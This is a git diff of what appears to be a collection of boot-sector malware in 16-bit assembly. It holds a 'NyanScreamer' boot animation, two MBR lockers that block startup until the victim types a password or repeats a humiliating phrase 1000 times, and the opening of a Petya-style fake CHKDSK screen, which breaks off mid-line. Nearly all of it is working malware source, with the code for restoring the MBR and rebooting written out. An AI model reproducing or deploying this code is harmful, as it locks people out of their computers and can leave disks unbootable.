+ret +call 0x68 +and dx,0xf3f +add dx,0x408 +jmp short 0xb2 +nop +mov cx,0x2000 +jmp short 0x90 +mov cx,0x707 +mov ah,0x1 +int 0x10 +ret +mov al,0x0 +jmp short 0x9b +mov al,0x1 +mov ah,0x5 +int 0x10 +ret +mov bh,0x7 +jmp short 0xa6 +mov bh,0x70 +mov ax,0x700 +mov dx,0xfefe +xor cx,cx +int 0x10 +xor dx,dx +mov ah,0x2 +mov bh,0x1 +int 0x10 +ret +mov ah,0x8 +mov bh,0x1 +int 0x10 +ret +mov bl,0x2 +jmp short 0xc6 +mov bl,0xa +mov ah,0x9 +mov bh,0x1 +mov cx,0x1 +int 0x10 +ret +mov bx,0xf000 +call 0x60 +call 0x63 +mov di,ax +mov ah,0x1 +int 0x16 +jnz short 0xf0 +call 0x60 +call 0x63 +sub ax,di +and ax,bx +jz short 0xdb +ret +nop +nop +mov ah,0x0 +int 0x16 +jmp short 0x160 +nop +call 0x100 +int 0x20 +int 0x18 +pop ax +ret +call 0xa4 +call 0x95 +call 0x8d +mov ax,0x10d +mov [bp+0x1],ax +ret +call 0x88 +call 0x99 +call 0xa0 +pop bp +push bp +sub bp,byte +0x3 +mov ax,0xcd +mov [bp+0x1],ax +mov ax,0x1003 +xor bx,bx +int 0x10 +ret +nop +nop +nop +nop +call 0x68 +nop +mov al,dh +xor ah,ah +mov bl,0x18 +div bl +mov dh,ah +mov al,dl +xor ah,ah +mov bl,0x50 +div bl +mov dl,ah +and dl,0xff +jmp 0xb2 +nop +nop +mov cx,dx +mov dh,0x17 +mov bh,0x70 +mov ax,0x701 +int 0x10 +ret +nop +nop +nop +nop +ret + +times 510 - ($-$$) db 0 +dw 0xaa55 \ No newline at end of file diff --git a/NyanScreamer/Create.bat b/NyanScreamer/Create.bat new file mode 100644 index 0000000..6f69651 --- /dev/null +++ b/NyanScreamer/Create.bat @@ -0,0 +1,30 @@ +@echo off +title NyanScreamerMBR +color 0a + +:Check +if exist disk.img goto QEMU +if exist Build\frames.bin del Build\frames.bin >NUL +if exist Build\stage2-uncompressed.bin del Build\stage2-uncompressed.bin >NUL +if exist Build\stage2-compressed.bin del Build\stage2-compressed.bin >NUL +cls + + +:Start +cd Data\Frames >>NUL +..\..\Programs\png2bin.exe 00.png 01.png 02.png ..\..\Build\frames.bin + + + +:Next +cd ..\Source >NUL +..\..\Programs\nasm.exe -f bin main.asm -o ..\..\Build\stage2-uncompressed.bin +..\..\Programs\compress.exe ..\..\Build\stage2-uncompressed.bin ..\..\Build\stage2-compressed.bin >NUL +..\..\Programs\nasm.exe -o ..\..\disk.img bootloader.asm +cd ..\.. >NUL + + +:QEMU +pause +Programs\QEMU\qemu -s -soundhw pcspk -fda disk.img +exit \ No newline at end of file diff --git a/NyanScreamer/Data/Frames/00.png b/NyanScreamer/Data/Frames/00.png new file mode 100644 index 0000000..726a635 Binary files /dev/null and b/NyanScreamer/Data/Frames/00.png differ diff --git a/NyanScreamer/Data/Frames/01.png b/NyanScreamer/Data/Frames/01.png new file mode 100644 index 0000000..59e583e Binary files /dev/null and b/NyanScreamer/Data/Frames/01.png differ diff --git a/NyanScreamer/Data/Frames/02.png b/NyanScreamer/Data/Frames/02.png new file mode 100644 index 0000000..aad4d8f Binary files /dev/null and b/NyanScreamer/Data/Frames/02.png differ diff --git a/NyanScreamer/Data/Source/Animation/Image/drawNormalFrame.asm b/NyanScreamer/Data/Source/Animation/Image/drawNormalFrame.asm new file mode 100644 index 0000000..dbb2feb --- /dev/null +++ b/NyanScreamer/Data/Source/Animation/Image/drawNormalFrame.asm @@ -0,0 +1,21 @@ +drawNormalFrame: + push es + push 0xb800 + pop es + + ; Display the frame + .displayFrame: + mov di, 1 ; Offset one byte + + mov cx, frameSize + .draw: + lodsb + stosb + inc di + loop .draw + + mov [frameIndex], si + + .end: + pop es + ret diff --git a/NyanScreamer/Data/Source/Animation/Image/initDrawing.asm b/NyanScreamer/Data/Source/Animation/Image/initDrawing.asm new file mode 100644 index 0000000..0506ace --- /dev/null +++ b/NyanScreamer/Data/Source/Animation/Image/initDrawing.asm @@ -0,0 +1,17 @@ +initDrawing: + ; Set the extra segment to video memory + push es + push 0xb800 + pop es + mov di, 0 + + mov ax, 0x00DC + mov cx, nyanTimeVideoStart/2 + rep stosw + + mov al, 0xDC + mov cx, frameSize - nyanTimeVideoStart/2 + rep stosw + + pop es + ret diff --git a/NyanScreamer/Data/Source/Animation/displayFrame.asm b/NyanScreamer/Data/Source/Animation/displayFrame.asm new file mode 100644 index 0000000..e21e0ef --- /dev/null +++ b/NyanScreamer/Data/Source/Animation/displayFrame.asm @@ -0,0 +1,37 @@ +frameIndex dw 0 +frameSize: equ (80*50) / 2 ; Raw binary size of a frame +lastFrame: equ afterFrame + + +displayFrame: + ; Set the extra segment to video memory + push es + push 0xb800 + pop es + + mov di, 0 + + mov si, [frameIndex] + + cmp word [soundIndex], lastIntroNote + ja .normalFrame + + ; Reset the frame index + mov si, frames + jmp .normalFrame + + ; Normal Animation Frame + .normalFrame: + call drawNormalFrame + + ; Reset frame index when the last frame has been reached + cmp word [frameIndex], lastFrame + jb .end + mov word [frameIndex], frames + + .end: + pop es + ret + +%include "Animation/Image/initDrawing.asm" +%include "Animation/Image/drawNormalFrame.asm" diff --git a/NyanScreamer/Data/Source/Animation/playNote.asm b/NyanScreamer/Data/Source/Animation/playNote.asm new file mode 100644 index 0000000..12c7277 --- /dev/null +++ b/NyanScreamer/Data/Source/Animation/playNote.asm @@ -0,0 +1,27 @@ +lastIntroNote equ 0+26*2 +lastNote equ 0 + +soundIndex dw 0 +soundWait db 0 + +playNote: + mov si, [soundIndex] + cmp si, lastNote + jb .nextNote + + ; Go back to the beginning + mov si, lastIntroNote + + .nextNote: + dec byte [soundWait] + cmp byte [soundWait], -1 + jne .end + + lodsw + mov cx, ax + and ah, 00011111b + + shr ch, 5 + mov [soundWait], ch + mov [soundIndex], si + .end: ret diff --git a/NyanScreamer/Data/Source/Interrupts/keyboardHandler.asm b/NyanScreamer/Data/Source/Interrupts/keyboardHandler.asm new file mode 100644 index 0000000..8dfdc79 --- /dev/null +++ b/NyanScreamer/Data/Source/Interrupts/keyboardHandler.asm @@ -0,0 +1,17 @@ +%macro onKey 2 + cmp al, %1 + jne %%notPressed + + call %2 + + %%notPressed: +%endmacro + +keyboardHandler: + startInterrupt + + in al, 60h ; Read keyboard state + + onKey 0x1F, speedUp ; Speed up the main timer when S is pressed + + finishInterrupt diff --git a/NyanScreamer/Data/Source/Interrupts/timerHandler.asm b/NyanScreamer/Data/Source/Interrupts/timerHandler.asm new file mode 100644 index 0000000..43e6661 --- /dev/null +++ b/NyanScreamer/Data/Source/Interrupts/timerHandler.asm @@ -0,0 +1,22 @@ +frameTickCounter db 0 +noteTickCounter db 0 + +%macro onTimer 3 + inc byte %1 + cmp byte %1, %2 + jne %%checkNext + + mov byte %1, 0 + + call %3 + + %%checkNext: +%endmacro + +timerHandler: + startInterrupt + + onTimer [frameTickCounter], 8, displayFrame + onTimer [noteTickCounter], 12, playNote + + finishInterrupt diff --git a/NyanScreamer/Data/Source/Setup/setup.asm b/NyanScreamer/Data/Source/Setup/setup.asm new file mode 100644 index 0000000..e22477a --- /dev/null +++ b/NyanScreamer/Data/Source/Setup/setup.asm @@ -0,0 +1,20 @@ +; Set video mode +mov ax, 0x0003 +int 10h + +; Disable screen blinking (which requires EGA) +mov ax, 0x1003 +mov bl, 0 +int 10h + +; Setup the main timer +%include "Setup/setupTimer.asm" + +; Setup the interrupts +%include "Setup/setupInterrupts.asm" + +; Setup the PC speaker +%include "Setup/setupSpeaker.asm" + +; Setup the screen +call initDrawing diff --git a/NyanScreamer/Data/Source/Setup/setupInterrupts.asm b/NyanScreamer/Data/Source/Setup/setupInterrupts.asm new file mode 100644 index 0000000..0e52263 --- /dev/null +++ b/NyanScreamer/Data/Source/Setup/setupInterrupts.asm @@ -0,0 +1,6 @@ +cli ; Disable Interrupts + +; Setup the timer interrupt handler +setupInterrupt 0, timerHandler + +sti ; Enable Interrupts again \ No newline at end of file diff --git a/NyanScreamer/Data/Source/Setup/setupSpeaker.asm b/NyanScreamer/Data/Source/Setup/setupSpeaker.asm new file mode 100644 index 0000000..184400a --- /dev/null +++ b/NyanScreamer/Data/Source/Setup/setupSpeaker.asm @@ -0,0 +1,14 @@ +; Setup the PC speaker timer +mov al, 10110110b +out 0x43, al + +; Set the default frequency +mov ax, 1193 ; ~1000 Hz +out 0x42, al +mov al, ah +out 0x42, al + +; Enable the PC speaker +in al, 61h +or al, 00000011b +out 61h, al \ No newline at end of file diff --git a/NyanScreamer/Data/Source/Setup/setupTimer.asm b/NyanScreamer/Data/Source/Setup/setupTimer.asm new file mode 100644 index 0000000..cfabdfe --- /dev/null +++ b/NyanScreamer/Data/Source/Setup/setupTimer.asm @@ -0,0 +1,4 @@ +mov al, 00110100b +out 0x43, al + +call setTimer \ No newline at end of file diff --git a/NyanScreamer/Data/Source/Utils/macros.asm b/NyanScreamer/Data/Source/Utils/macros.asm new file mode 100644 index 0000000..478e98e --- /dev/null +++ b/NyanScreamer/Data/Source/Utils/macros.asm @@ -0,0 +1,25 @@ +%macro startInterrupt 0 + pusha ; Save all registers +%endmacro + +%macro finishInterrupt 0 + ; Acknowledge Interrupt + mov al, 0x20 + out 0x20, al + + popa ; Restore all registers + iret ; Return from the interrupt +%endmacro + +%macro setupInterrupt 2 + ; Set the right segments + push ds + push 0x0000 + pop ds + + ; Register the handler + mov word [(%1+8)*4], %2 ; Interrupt Handler + mov word [(%1+8)*4+2], 0x2000 ; Segment 0x2000 + + pop ds +%endmacro diff --git a/NyanScreamer/Data/Source/Utils/timer.asm b/NyanScreamer/Data/Source/Utils/timer.asm new file mode 100644 index 0000000..e6e6002 --- /dev/null +++ b/NyanScreamer/Data/Source/Utils/timer.asm @@ -0,0 +1,19 @@ +defaultClock equ 11932 ; ~100 Hz +currentClock dw defaultClock + +; Updates the current timer value +setTimer: + mov ax, [currentClock] + out 0x40, al + mov al, ah + out 0x40, al + + ret + +maxClock equ defaultClock/6 +minClock equ defaultClock*3 + +; Speed increase is calculated using the following formula: +; currentClock = currentClock * clockPreMul / clockDiv +clockPreMul equ 2 +clockDiv equ 3 diff --git a/NyanScreamer/Data/Source/bootloader.asm b/NyanScreamer/Data/Source/bootloader.asm new file mode 100644 index 0000000..2968ee1 --- /dev/null +++ b/NyanScreamer/Data/Source/bootloader.asm @@ -0,0 +1,37 @@ +use16 +org 0x7c00 + +;setup cpu + +;correct cs +jmp 0x0000:correct_cs +correct_cs: + +; setup stack properly +cli +xor ax, ax +mov ss, ax +mov sp, 0x7BF0 +sti + +%include "decompress.asm" ; Decompress Code & Data + +; Prepare the CPU segments + +mov ax, 0x2000 +mov ds, ax +mov es, ax + +jmp 0x2000:0x0000 ; Jump to the decompressed Data, booting the actual "Kernel" + +; Boot sector signature +times 510 - ($ - $$) db 0 +dw 0xAA55 + +; Include the compressed data +comp: incbin "../../Build/stage2-compressed.bin" ; Hardcoded build dir :( +compsize: equ $-comp + +; Align it to sectors +;align 512 +times 4096 - ($ - $$) db 0 diff --git a/NyanScreamer/Data/Source/decompress.asm b/NyanScreamer/Data/Source/decompress.asm new file mode 100644 index 0000000..68a71bb --- /dev/null +++ b/NyanScreamer/Data/Source/decompress.asm @@ -0,0 +1,77 @@ +start: + ; Dump compressed data to segment 1000:0000 instead + mov bx, 0x1000 + mov es, bx + + ; Read from disk + mov ax, 0x0208 + mov cx, 0x0002 + mov dh, 0 + xor bx, bx ; (ip: address 0) + int 13h + + ; Source segment DS (1000:0000) + push es + pop ds + ; Target 2000:0000 segment for uncompressed data + mov ax, 0x2000 + mov es, ax + + xor ax, ax + mov bx, ax + mov cx, ax + mov dx, ax + mov di, ax + mov si, ax + +readcommand: + lodsb + + cmp si, compsize + jae exit + + cmp al, 128 + jae newdata + jmp olddata + +newdata: + and al, 127 + mov cl, al + + newnextbyte: + lodsb + stosb + + dec cl + cmp cl, -1 + jne newnextbyte + + jmp readcommand + +olddata: + mov ah, al + lodsb + + mov bx, ax + lodsb + + push ds + + push 0x2000 + pop ds + + mov dx, si + mov si, bx + mov cl, al + + oldnextbyte: + lodsb + stosb + + loop oldnextbyte + + mov si, dx + pop ds + jmp readcommand + +exit: diff --git a/NyanScreamer/Data/Source/main.asm b/NyanScreamer/Data/Source/main.asm new file mode 100644 index 0000000..9477112 --- /dev/null +++ b/NyanScreamer/Data/Source/main.asm @@ -0,0 +1,34 @@ +use16 +org 0 + +nyanTimeVideoStart: equ 3840 +nyanTimeBin dw 0 + +%include "Utils/macros.asm" +%include "Setup/setup.asm" + +; Everything should be already set up, so the only +; thing we need to do here is to wait for interrupts + +haltLoop: + hlt + jmp haltLoop + +; Include the interrupt handlers after the loop to +; prevent them from triggering by including the code +%include "Interrupts/timerHandler.asm" +%include "Utils/timer.asm" +%include "Animation/displayFrame.asm" +%include "Animation/playNote.asm" + +; ============================== +; Variables +; ============================== + +; ============================== +; Data +; ============================== + +frames: incbin "../../Build/frames.bin" +framesLength: equ $-frames +afterFrame: \ No newline at end of file diff --git a/NyanScreamer/Programs/QEMU/SDL.dll b/NyanScreamer/Programs/QEMU/SDL.dll new file mode 100644 index 0000000..c092641 Binary files /dev/null and b/NyanScreamer/Programs/QEMU/SDL.dll differ diff --git a/NyanScreamer/Programs/QEMU/bios.bin b/NyanScreamer/Programs/QEMU/bios.bin new file mode 100644 index 0000000..bdb4831 Binary files /dev/null and b/NyanScreamer/Programs/QEMU/bios.bin differ diff --git a/NyanScreamer/Programs/QEMU/libcurl-4.dll b/NyanScreamer/Programs/QEMU/libcurl-4.dll new file mode 100644 index 0000000..2b28a28 Binary files /dev/null and b/NyanScreamer/Programs/QEMU/libcurl-4.dll differ diff --git a/NyanScreamer/Programs/QEMU/pxe-e1000.bin b/NyanScreamer/Programs/QEMU/pxe-e1000.bin new file mode 100644 index 0000000..7ac744e Binary files /dev/null and b/NyanScreamer/Programs/QEMU/pxe-e1000.bin differ diff --git a/NyanScreamer/Programs/QEMU/qemu.exe b/NyanScreamer/Programs/QEMU/qemu.exe new file mode 100644 index 0000000..202ec40 Binary files /dev/null and b/NyanScreamer/Programs/QEMU/qemu.exe differ diff --git a/NyanScreamer/Programs/QEMU/vgabios-cirrus.bin b/NyanScreamer/Programs/QEMU/vgabios-cirrus.bin new file mode 100644 index 0000000..424dd0c Binary files /dev/null and b/NyanScreamer/Programs/QEMU/vgabios-cirrus.bin differ diff --git a/NyanScreamer/Programs/compress.exe b/NyanScreamer/Programs/compress.exe new file mode 100644 index 0000000..7bbc4d8 Binary files /dev/null and b/NyanScreamer/Programs/compress.exe differ diff --git a/NyanScreamer/Programs/nasm.exe b/NyanScreamer/Programs/nasm.exe new file mode 100644 index 0000000..efa70e5 Binary files /dev/null and b/NyanScreamer/Programs/nasm.exe differ diff --git a/NyanScreamer/Programs/png2bin.exe b/NyanScreamer/Programs/png2bin.exe new file mode 100644 index 0000000..625ab31 Binary files /dev/null and b/NyanScreamer/Programs/png2bin.exe differ diff --git a/Parator.asm b/Parator.asm new file mode 100644 index 0000000..898f14e --- /dev/null +++ b/Parator.asm @@ -0,0 +1,316 @@ +cpu 386 +bits 16 +org 0h + + +start: ;Ok, dont change this stuff either.. + jmp short load_prog + ident db "WobbyChip" + +;===================================================================================================================== + +load_prog: + cld + xor ax,ax + mov ss,ax + mov sp, 7c00h ;Setup stack + + mov ax, 8000h + mov es, ax ;Initialize es w/ 8000h + mov ds, ax ;Initialize ds w/ 8000h + +;===================================================================================================================== + +load_1: + mov ax, 0206h ;Function/# of sec to read + mov cx, 0001h ;0-5 sec # (counts from one), 6-7 hi cyl bits + + ;MDP - Do not clobber DL, it still has the boot drive passed by BIOS + mov dh, 00h ;Dh=head dl=drive (bit 7=hdd) + mov bx, 0h ;Data buffer, points to es:0 + int 13h + cmp ah, 0 + jne load_1 ;This is allowable because it is relative + + ;MDP - Save boot drive after you set the proper DS segment (0x8000) and after you read the sector into memory + mov [boot_drive], dl + + push es + mov ax, prog_continue + push ax + retf + +;===================================================================================================================== + +prog_continue: + mov ah, 07h ;Function to call with interrupt + mov al, 0x00 ;Scroll whole window + mov bh, 0x0F ;Black background with white text + mov cx, 0x0000 ;Row 0,col 0 + mov dx, 0x184f + int 10h + + mov dh, 0 ;Cursor position row + mov dl, 0 ;Cursor position column + mov ah, 02h ;Set cursor position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + jmp write_message + +;===================================================================================================================== + +print_str: + push ax + push di + mov ah, 0eh +.getchar: + lodsb ;Same as mov al,[si] and inc si + test al, al ;Same as cmp al,0 + jz .end + int 10h + jmp .getchar +.end: + pop di + pop ax + ret + +uint32_to_str: + push edx + push eax + push ecx + push bx + push di + xor bx, bx ;Digit count + mov ecx, 10 ;Divisor +.digloop: + xor edx, edx ;Division will use 64-bit dividend in EDX:EAX + div ecx ;Divide EDX:EAX by 10 ; EAX=Quotient ; EDX=Remainder(the current digit) + add dl, '0' ;Convert digit to ASCII + push dx ;Push on stack so digits can be popped off in everse order when finished + inc bx ;Digit count += 1 + test eax, eax + jnz .digloop ;If dividend is zero then we are finished converting the number +.popdigloop: ;Get digits from stack in reverse order we pushed them + pop ax + stosb ;Same as mov [ES:DI], al and inc di + dec bx + jne .popdigloop ;Loop until all digits have been popped + mov al, 0 + stosb ;NUL terminate string ; Same as mov [ES:DI], al and inc di + pop di + pop bx + pop ecx + pop eax + pop edx + ret + +;===================================================================================================================== + +write_message: + mov si, msg1 ;DS:SI points to string buffer to print + call print_str + + mov si, password ;DS:SI points to string buffer to print + call print_str + + mov si, msg2 ;DS:SI points to string buffer to print + call print_str + + mov eax, [counter] + mov di, strbuf ;ES:DI points to string buffer to store to + call uint32_to_str ;Convert 32-bit unsigned value in EAX to ASCII string + mov si, di ;DS:SI points to string buffer to print + call print_str + +next: + mov dh, 23 ;Cursor position row + mov dl, 1 ;Cursor position column + mov ah, 02h ;Set cursor position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + mov si, phrase + call print_str + mov si, buffer + +get_keystrokes: + xor al, al ;Clear buffer + mov ah, 0h ;AH = 0 + cmp ah, 0h ;Check same or not same + jne get_keystrokes ;If same continue else abort + + xor ah, ah ;AH = 0 + int 16h ;Wait for key + cmp ah, 01h ;Scan code 1 = Escape + jne next_keystrokes ;If Escape not pressed skip + + mov ah, 86h ;AH = 86 + mov cx, 50 ;Set for timeout 50 + int 15h ;Wait function + + mov ah, 2h + int 16h ;Query keyboard status flags + and al, 0b00001111 ;Mask all the key press flags + cmp al, 0b00001100 ;Check if ONLY Control and Alt are pressed and make sure Left and/or Right Shift are not being pressed + jne next_keystrokes ;If not go back and wait for another keystroke ; Otherwise Control-Alt-Escape has been pressed + jmp RestoreMBR + +next_keystrokes: + mov ah, 03h ;Get current cusror position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + cmp al, 0 ;Check for nothing + je get_keystrokes + + cmp al, 9 ;Disable tab + je get_keystrokes + + cmp al, 8 ;Check for backsapce + je backspace + + cmp al, 13 ;Check for enter + je compare + + cmp dl, 78 ;Don't let string to get to second line + je get_keystrokes + + mov ah, 0Eh ;Teletype user inputed character + int 10h ;Call interrupt + mov byte [si], al + inc si + jmp get_keystrokes + +backspace: + cmp dl, phrase_len ;Make so we don't accidentally delete text contained in phrase_len + je get_keystrokes + dec dl + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + mov al, 0 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + dec si + mov byte [si], 0 ;Clear buffer + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + jmp get_keystrokes + +compare: + lea esi, [password] + lea edi, [buffer] + mov ecx, password_len ;Selects the length of the first string as maximum for comparison + rep cmpsb ;Comparison of ECX number of bytes + mov eax, 4 ;Does not modify flags + mov ebx, 1 ;Does not modify flags + mov si, buffer ;Store in si address of buffer + jne .ClearAll ;Checks zero flag + jmp .CheckNumber ;If password matches decrease counter +.CheckNumber: + mov eax, [counter] + sub eax, 1 ;Decrease value by 1 + mov [counter], eax ;Store final value in counter + + mov eax, [counter] + cmp eax, 0 + je RestoreMBR + jmp prog_continue +.ClearAll: + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + mov byte [si], 0 ;Clear buffer + inc si + + cmp dl, phrase_len ;Clear everything until text contained in msg + je next + dec dl + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + mov al, 0 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + jmp .ClearAll + +;===================================================================================================================== + +RestoreMBR: + mov ax, 7c0h ;Setup segments ;AX=7c0h + mov es, ax + + xor ax, ax ;AX=0 + mov ss, ax + mov sp, 0x7c00 ;SS:SP = 0x0000:0x7c00 stack just below bootloader + + ;Read sector - 2th + mov bx, buffer ;ES: BX must point to the buffer + mov dl, [boot_drive] ;Use boot drive passed to bootloader by BIOS in DL + mov dh, 0 ;Head number + mov ch, 0 ;Track number + mov cl, 2 ;Sector number - (2th) + mov al, 1 ;Number of sectors to read + mov ah, 2 ;Read function number + int 13h ;Call interrupt + + ;Write sector - 1th + mov bx, buffer ;ES: BX must point to the buffer + mov dl, [boot_drive] ;Use boot drive passed to bootloader by BIOS in DL + mov dh, 0 ;Head number + mov ch, 0 ;Track number + mov cl, 1 ;Sector number - (1th) + mov al, 8 ;Number of sectors to write + mov ah, 3 ;Write function number + int 13h ;Call interrupt + +RebootPC: + xor ax, ax + mov es, ax + mov bx, 1234 + mov [es:0472], bx + cli + mov ds, ax + mov es, ax + mov ss, ax + mov sp, ax + mov ax, 2 + push ax + mov ax, 0xf000 + push ax + mov ax, 0xfff0 + push ax + iret + +;===================================================================================================================== + +MBR_Signature: + counter dd 1000 + boot_drive dd 0 + strbuf db 0 + times 510-($-$$) db 0 + db 55h,0aah + times 1024-($-$$) db 0 + msg1: db 'You have been a bad boy and now you have to write the phrase:', 13, 10, '"', 0 + msg2: db '" 1000 times to restore your computer.', 13, 10, 13, 10, 'Counter: ', 0 + password: db 'I am a bad boy. Excuse me please!', 0 + password_len: equ $-password + phrase: db 'Phrase: ', 0 + phrase_len: equ $-phrase + times 4096-($-$$) db 0 + buffer: \ No newline at end of file diff --git a/Password.asm b/Password.asm new file mode 100644 index 0000000..e796a08 --- /dev/null +++ b/Password.asm @@ -0,0 +1,261 @@ +cpu 386 +bits 16 +org 0h + + +start: ;Ok, dont change this stuff either.. + jmp short load_prog + ident db "WobbyChip" + +;===================================================================================================================== + +load_prog: + cld + xor ax,ax + mov ss,ax + mov sp,7c00h ;Setup stack + + mov ax,8000h + mov es,ax ;Initialize es w/ 8000h + mov ds,ax ;Initialize ds w/ 8000h + +;===================================================================================================================== + +load_1: + mov ax,0206h ;Function/# of sec to read + mov cx,0001h ;0-5 sec # (counts from one), 6-7 hi cyl bits + + ;MDP - Do not clobber DL, it still has the boot drive passed by BIOS + mov dh,00h ;Dh=head dl=drive (bit 7=hdd) + mov bx,0h ;Data buffer, points to es:0 + int 13h + cmp ah,0 + jne load_1 ;This is allowable because it is relative + + ;MDP - Save boot drive after you set the proper DS segment (0x8000) and after you read the sector into memory + mov [boot_drive], dl + + push es + mov ax,prog_continue + push ax + retf + +;===================================================================================================================== + +prog_continue: + mov ah, 07h ;Function to call with interrupt + mov al, 0x00 ;Scroll whole window + mov bh, 0x0F ;Black background with white text + mov cx, 0x0000 ;Row 0,col 0 + mov dx, 0x184f + int 10h + + mov dh, 0 ;Cursor position row + mov dl, 0 ;Cursor position column + mov ah, 02h ;Set cursor position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + mov bp, 0400h + mov ah, 0eh + mov si, 0ffffh + +;===================================================================================================================== + +write_char: + inc si + cmp byte [ds:bp + si],0 ;Keep writing until there is a null byte + jz next + push bp + + mov al, [byte ds:bp + si] + mov bx, 07h ;Teletype the character + int 10h ;Call interrupt + pop bp + jmp write_char + +print_str: + push ax + push di + mov ah,0eh +.getchar: + lodsb ;Same as mov al,[si] and inc si + test al, al ;Same as cmp al,0 + jz .end + int 10h + jmp .getchar +.end: + pop di + pop ax + ret + +;===================================================================================================================== + +next: + mov dh, 23 ;Cursor position row + mov dl, 1 ;Cursor position column + mov ah, 02h ;Set cursor position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + mov si, msg1 + call print_str + mov si, buffer + +get_keystrokes: + xor al, al ;Clear buffer + mov ah,0h ;Wait until key press + int 16h + + mov ah, 03h ;Get current cusror position + mov bh, 0 ;Display page number + int 10h ;Call interrupt + + cmp al, 0 ;Check for nothing + je get_keystrokes + + cmp al, 32 ;Disable spacebar + je get_keystrokes + + cmp al, 9 ;Disable tab + je get_keystrokes + + cmp al, 8 ;Check for backsapce + je backspace + + cmp al, 13 ;Check for enter + je compare + + cmp dl, 78 ;Don't let string to get to second line + je get_keystrokes + + mov ah, 0Eh ;Teletype user inputed character + int 10h ;Call interrupt + mov byte [si], al + inc si + jmp get_keystrokes + +backspace: + mov ah, 03h ;Get current cusror shape position + mov bh, 0 ;Page number + int 10h ;Call interrupt + + cmp dl, msg1_len ;Make so we don't accidentally delete text contained in msg1 + je get_keystrokes + dec dl + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + mov al, 0 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + dec si + mov byte [si], 0 ;Clear buffer + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + jmp get_keystrokes + +compare: + lea esi, [password] + lea edi, [buffer] + mov ecx, password_len ;Selects the length of the first string as maximum for comparison + rep cmpsb ;Comparison of ECX number of bytes + mov eax, 4 ;Does not modify flags + mov ebx, 1 ;Does not modify flags + mov si, buffer ;Store in si address of buffer + jne .ClearAll ;Checks zero flag + jmp RestoreMBR ;If password matches jump to end +.ClearAll: + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + mov byte [si], 0 ;Clear buffer + inc si + + cmp dl, msg1_len ;Clear everything until text contained in msg + je next + dec dl + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + mov al, 0 ;Zero scancode + mov ah, 0Eh ;Teletype character + int 10h ;Call interrupt + + mov ah, 02h ;Set cursor position + mov bh, 0 ;Page number + int 10h ;Jump one column before + + jmp .ClearAll + +;===================================================================================================================== + +RestoreMBR: + mov ax, 7c0h ;Setup segments ;AX=7c0h + mov es, ax + + xor ax, ax ;AX=0 + mov ss, ax + mov sp, 0x7c00 ;SS:SP= 0x0000:0x7c00 stack just below bootloader + + ;Read sector - 2th + mov bx, buffer ;ES: BX must point to the buffer + mov dl, [boot_drive] ;Use boot drive passed to bootloader by BIOS in DL + mov dh,0 ;Head number + mov ch,0 ;Track number + mov cl,2 ;Sector number - (2th) + mov al,1 ;Number of sectors to read + mov ah,2 ;Read function number + int 13h ;Call interrupt + + ;Write sector - 1th + mov bx, buffer ;ES: BX must point to the buffer + mov dl, [boot_drive] ;Use boot drive passed to bootloader by BIOS in DL + mov dh,0 ;Head number + mov ch,0 ;Track number + mov cl,1 ;Sector number - (1th) + mov al,8 ;Number of sectors to write + mov ah,3 ;Write function number + int 13h ;Call interrupt + +RebootPC: + xor ax, ax + mov es, ax + mov bx, 1234 + mov [es:0472], bx + cli + mov ds, ax + mov es, ax + mov ss, ax + mov sp, ax + mov ax, 2 + push ax + mov ax, 0xf000 + push ax + mov ax, 0xfff0 + push ax + iret + +;===================================================================================================================== + +MBR_Signature: + boot_drive dd 0 + msg1: db 'Password: ', 0 + msg1_len: equ $-msg1 + password: db 'password', 0 + password_len: equ $-password + times 510-($-$$) db 0 + db 55h,0aah + times 1024-($-$$) db 0 + db 'TEXT HERE' + times 4096-($-$$) db 0 + buffer: \ No newline at end of file diff --git a/Petya/CHKDSK.asm b/Petya/CHKDSK.asm new file mode 100644 index 0000000..6dee0da --- /dev/null +++ b/Petya/CHKDSK.asm @@ -0,0 +1,233 @@ +cpu 386 +bits 16 +org 0h + +start: ;Ok, dont change this stuff either.. + jmp short load_prog + ident db "WobbyChip" + +;===================================================================================================================== + +load_prog: + cld + xor ax,ax + mov ss,ax + mov sp,7c00h ;Setup stack + + mov ax,8000h + mov es,ax ;Initialize es w/ 8000h + mov ds,ax ;Initialize ds w/ 8000h + +load_1: + mov ax,0210h ;Function/# of sec to read + mov cx,0001h ;0-5 sec # (counts from one), 6-7 hi cyl bits + + ; MDP - Do not clobber DL, it still has the boot drive passed by BIOS + mov dh,00h ;dh=head dl=drive (bit 7=hdd) + mov bx,0h ;Data buffer, points to es:0 + int 13h + cmp ah,0 + jne load_1 ;This is allowable because it is relative + + ; MDP - Save boot drive after you set the proper DS segment (0x8000) and after you read the sector into memory + mov [BOOT_DRIVE], dl + +;===================================================================================================================== + +CHKDSK: + mov cx, 2607h + mov ah, 01h + mov bh, 0 + int 10h + + mov dh, 0 ;Cursor position line + mov dl, 0 ;Cursor position column + mov ah, 02h + mov bh, 0 + int 10h ;Jump one col before + + mov bh, 0x07 ;Background color + call ClearScreen + + mov bp,0200h + call write_char + call RestoreMBR + + mov ah, 03h + mov bh, 0 + int 10h + + mov [CURSOR_LINE], dh + mov [CUSROR_COL], dl + +next: + mov dh, [CURSOR_LINE] ;Cursor position line + mov dl, [CUSROR_COL] ;Cursor position column + mov ah, 02h + mov bh, 0 + int 10h + + mov eax, [NUMBERS] + add eax, 2048 ;Advance value by 2048 + mov 